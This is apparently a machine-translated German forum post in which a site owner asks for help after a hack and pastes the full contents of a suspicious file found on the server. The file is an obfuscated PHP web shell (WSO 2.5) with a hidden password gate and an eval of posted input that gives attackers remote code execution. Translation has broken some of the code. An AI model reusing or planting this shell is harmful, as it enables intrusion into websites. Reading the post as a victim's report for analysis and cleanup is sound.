Grundsätzlich wurde eine Website, die ich betreibe, im Januar gehackt und eine ganze Reihe von Spam-Mails verschickt. Der Datenverkehr ging über das Dach, sodass die Hosting-Firma die Website damals deaktivierte, aber das wurde nicht gut kommuniziert. Ich beschäftige mich jetzt damit.
Heute habe ich die Dateien der Website durchgesehen und eine Datei festgestellt, die ungefähr 5 Stunden erstellt wurde, bevor ich vom Hosting-Unternehmen eine Warnung über das Spammen meiner Webseite erhielt. Der Pfad der Datei lautet www / root / rss.lib.php
und der Inhalt:
"<? php $ {" \ x47LOB \ x41 \ x4c \ x53 "} [" \ x76 \ x72vw \ x65y \ x70 \ x7an \ x69 \ x70 \ x75 "] =" a "; $ { "\ x47 \ x4cOBAL \ x53"} ["\ x67 \ x72 \ x69u \ x65 \ x66 \ x62 \ x64 \ x71c"] = "\ x61 \ x75 \ x74h \ x5fpas \ x73"; $ {"\ x47 \ x4cOBAL \ x53 "} [" \ x63 \ x74xv \ x74 \ x6f \ x6f \ x6bn \ x6dju "] =" \ x76 "; $ {" \ x47 \ x4cO \ x42A \ x4cS "} [" p \ x69 \ x6fykc \ x65 \ x61 "] =" def \ x61ul \ x74 \ x5fu \ x73 \ x65_ \ x61j \ x61 \ x78 "; $ {" \ x47 \ x4c \ x4f \ x42 \ x41 \ x4c \ x53 "} [" i \ x77i \ " x72 \ x6d \ x78l \ x71tv \ x79p "] =" defa \ x75 \ x6c \ x74 \ x5f \ x61 \ x63t \ x69 \ x6f \ x6e "; $ {" \ x47L \ x4fB \ x41 \ x4cS "} [" \ x64 \ x77e \ x6d \ x62 \ x6a \ x63 "] =" \ x63 \ x6fl \ x6f \ x72 "; $ {$ {" \ x47 \ x4c \ x4f \ x42 \ x41LS "} [" \ x64 \ x77 \ x65 \ x6dbj \ x63 "]} =" \ x23d \ x665 "; $ {$ {" \ x47L \ x4fB \ x41 \ x4c \ x53 "} [" \ x69 \ x77 \ x69rm \ x78 \ x6c \ x71 \ x74 \ x76 \ x79p "]} =" \ x46i \ x6cesM \ x61n "; $ oboikuury =" \ x64e \ x66a \ x75 \ x6ct \ x5fc \ x68 \ x61 \ x72 \ x73 \ x65t "; $ {$ {" \ x47L \ x4f \ x42 \ x41 \ x4cS "} [" p \ x69oy \ x6bc \ x65 \ x61 "]} = true; $ {$ oboikuury} =" \ x57indow \ x73-1 \ x325 \ x31 "; @ ini_set (" \ x65r \ x72o \ x72_ \ x6cog ", NULL); @ ini_set (" l \ x6fg_er \ x72ors ", 0); @ ini_set (" max_ex \ x65 \ x63 \ x75 \ x74 \ x69o \ x6e \ x5f \ x74im \ x65 ", 0); @ set_time_limit ( 0); @ set_magic_quotes_runtime (0); @ define ("WS \ x4f \ x5fVE \ x52S \ x49ON", "\ x32.5 \ x2e1"); if (get_magic_quotes_gpc ()) {function WSOstripslashes ($ array) {$ { "\ x47 \ x4c \ x4f \ x42A \ x4c \ x53"} ["\ x7a \ x64 \ x69z \ x62 \ x73 \ x75e \ x66a"] = "\ x61 \ x72r \ x61 \ x79"; $ cfnrvu = "\ x61r \ x72a \ x79 "; $ {" GLOB \ x41L \ x53 "} [" \ x6b \ x63 \ x6ct \ x6c \ x70 \ x64 \ x73 "] =" a \ x72 \ x72 \ x61 \ x79 "; return is_array ($ {$ {"\ x47 \ x4cO \ x42 \ x41 \ x4c \ x53"} ["\ x7ad \ x69 \ x7ab \ x73 \ x75e \ x66 \ x61"]})? array_map ("\ x57SOst \ x72 \ x69 \ x70 \ x73 \ x6c \ x61 \ x73 \ x68 \ x65s ", $ {$ {" \ x47 \ x4cO \ x42 \ x41LS "} [" \ x6b \ x63 \ x6c \ x74l \ x70 \ x64 \ x73 "]} ): Stripslashes ($ {$ cfnrvu});} $ _ POST = WSOstripslashes ($ _ POST); $ _ COOKIE = WSOstripslashes ($ _ COOKIE);} Funktion wsoLogin () {Header ("\ x48 \ x54TP / 1. \ x30 \ x204 \ x30 \ x34 \ x20 \ x4eo \ x74 \ x46ound "); die (" 4 \ x304 ");} Funktion WSOsetcookie ($ k, $ v) {$ {" \ x47 \ x4cO \ x42ALS "} [" \ x67vf \ x6c \ x78m \ x74 "] =" \ x6b "; $ cjtmrt =" \ x76 "; $ _ COOKIE [$ {$ {" G \ x4c \ x4f \ x42 \ x41LS "} [" \ x67 \ x76 \ x66 \ x6cxm \ x74 "]}] = $ {$ {" GLO \ x42 \ x41 \ x4cS "} [" \ x63 \ x74 \ x78 \ x76t \ x6f \ x6fknm \ x6a \ x75 "]}; $ raogrsixpi =" \ x6b "; setcookie ($ {$ raogrsixpi}, $ {$ cjtmrt} );} $ qyvsdolpq = "a \ x75 \ x74 \ x68 \ x5f \ x70 \ x61s \ x73"; if (! leer ($ {$ qyvsdolpq})) {$ rhavvlolc = "au \ x74h_ \ x70a \ x73 \ x73 "; $ ssfmrro =" a \ x75t \ x68 \ x5fpa \ x73 \ x73 "; if (isset ($ _ POST [" p \ x61ss "]) && (md5 ($ _ POST [" pa \ x73 \ x73 "]) = = $ {$ ssfmrro})) WSOsetcookie (md5 ($ _ SERVER ["H \ x54 \ x54P_ \ x48 \ x4f \ x53T"]), $ {$ {"\ x47L \ x4f \ x42 \ x41 \ x4c \ x53"} ["\ x67 \ x72 \ x69 \ x75e \ x66b \ x64 \ x71 \ x63"]}; if (! isset ($ _ COOKIE [md5 ($ _ SERVER ["\ x48T \ x54 \ x50 \ x5f \ x48O \ x53 \) x54 "])]) || ($ _ COOKIE [md5 ($ _ SERVER [" H \ x54 \ x54 \ x50_H \ x4fST "])! = $ {$ rhavvlolc})) wsoLogin ();} function actionRC () { if (! @ $ _ POST ["p \ x31"]) {$ ugtfpiyrum = "a"; $ {$ {"\ x47 \ x4c \ x4fB \ x41LS"} ["\ x76r \ x76w \ x65 \ x79 \ x70z \ x6eipu "]} = array (" \ x75n \ x61m \ x65 "= >php_uname ()," p \ x68 \ x70 \ x5fver \ x73 \ x69o \ x6e "= >phpversion ()," \ x77s \ x6f_v \ x65 \ x72si \ x6f \ x6e "= >WSO_VERSION," saf \ x65m \ x6f \ x64e "= > @ ini_get (" \ x73 \ x61 \ x66 \ x65 \ x5fm \ x6fd \ x65 "); echo serialize ($ {$ ugtfpiyrum}); } else {eval ($ _ POST ["\ x70 \ x31"]);}} if (leer ($ _ POST ["\ x61"])) {$ {"\ x47L \ x4fB \ x41LS"} ["\ x69s \ x76 \ x65 \ x78 \ x79 "] =" \ x64 \ x65 \ x66 \ x61 \ x75 \ x6ct \ x5f \ x61c \ x74i \ x6f \ x6e "; $ {" \ x47 \ x4c \ x4f \ x42 \ x41 \ x4c \ x53 "} [ "\ x75 \ x6f \ x65c \ x68 \ x79 \ x6d \ x7ad \ x64 \ x64"] = "\ x64 \ x65 \ x66a \ x75 \ x6c \ x74_ \ x61 \ x63 \ x74 \ x69 \ x6fn"; if (isset ($ {$ {"\ x47L \ x4f \ x42 \ x41LS"} ["\ x69 \ x77ir \ x6d \ x78lqtv \ x79 \ x70"]}) &&function_exists ("\ x61ct \ x69 \ x6f \ x6e". $ {$ {"\ x47L \ x4f \ x42 \ x41 \ x4cS"} ["\ x75o \ x65ch \ x79 \ x6d \ x7a \ x64 \ x64 \ x64"]}) $ _ POST ["a"] = $ {$ {" \ x47 \ x4c \ x4f \ x42ALS "} [" i \ x73 \ x76e \ x78 \ x79 "]}; sonst $ _POST [" a "] =" \ x53e \ x63 \ x49 \ x6e \ x66o ";} if ( ! leer ($ _ POST ["\ x61"]) &&function_exists ("actio \ x6e". $ _ POST ["\ x61"])) call_user_func ("\ x61 \ x63 \ x74 \ x69 \ x6f \ x6e". $ _ POST [ "a"]); exit;
? >
Mein erster Gedanke war, die Datei zu löschen und sicherzustellen, dass mein Passwort sicher ist, aber ich bin ziemlich neu in diesem Bereich, daher wären Ratschläge willkommen.